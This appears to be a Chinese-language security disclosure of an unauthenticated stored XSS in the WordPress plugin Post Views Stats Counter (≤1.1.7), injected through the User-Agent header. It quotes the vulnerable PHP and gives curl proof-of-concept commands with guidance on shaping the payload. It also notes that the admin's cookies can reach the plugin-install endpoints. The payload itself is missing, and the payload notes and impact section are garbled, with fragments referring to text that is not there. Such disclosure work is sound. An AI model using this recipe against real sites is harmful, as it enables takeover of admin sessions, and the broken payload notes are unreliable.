| 插件 | Post Views Stats Counter |
| 受影响版本 | ≤ 1.1.7 |
| 漏洞类别 | 未认证存储型 XSS |
| 入口点 | User-Agent HTTP 头 |
| 触发点 | 管理统计页面(options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 高危 |
| 状态 | 披露时未修复,直至目前无已知修复版本 |
| 研究者 | Nawaf Althurwi |
该插件会将每次页面浏览记录到自定义表(wp_pvs_counter)中,包括访问者的 User-Agent 头。以下代码展示了它获取该头的位置——整个路径中没有任何清理:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
进入时唯一的防御措施是一个机器人过滤器,而它只是一个子串黑名单:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
默认列表是 bot、spider、crawler。任何不包含这些子字符串的内容都会被存储。这就是整个过滤逻辑。
在输出侧,管理页面会构建一个“已注册用户代理”的下拉菜单,并将存储的值原样打印在 <option> 标签内——esc_attr() 保护了 value 属性,但可见标签是直接 echo 输出的:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
因此,一个在 User-Agent 头中携带 HTML 的未认证请求,会在管理员下次打开该插件统计页面时在其浏览器中执行。典型的存储型 XSS,无需认证,受害者除了查看自己的仪表盘外无需任何交互。
还有一个值得了解的约束:useragent 列的类型是 varchar(155),因此 payload 必须保持在 155 个字符以内。
任何已记录的 URL 都可以——首页 /?p=1 即可。将 TARGET 替换为 WordPress 主机,将 YOUR_PAYLOAD 替换为你想要在管理员会话中运行的任意内容:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
关于 payload 形态的说明:
</option></select> 将值从下拉菜单标记中脱离出来——它不是装饰,没有它,注入内容会被困在 <option> 标签内。bot/spider/crawler(不区分大小写),否则请求会在到达数据库之前被当作机器人过滤掉。alert() 内使用空格,请改用  ——某些 HTTP 客户端会破坏请求头值中的空格。我在实验室中使用的一行命令:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

只是一个普通的 curl。HTTP 200 表示浏览量已被计数,且该请求头已写入数据库。
以管理员身份打开 设置 → Post Views Stats Counter(如果已经打开,只需刷新即可)。载荷会作为统计小部件列表的一部分渲染,随后 onerror 被触发:

S:C 作用域变更 — XSS 在 wp-admin 上运行,因此可以使用管理员的 Cookie 调用 admin-ajax 和插件安装端点)
如需逐帧查看/暂停,可使用更高画质版本:exploit-vid.mp4
在本地 Docker 实验环境中针对 WordPress 6.x 上的 1.1.7 版本进行测试。无需身份验证,除打开统计页面外无需任何用户交互。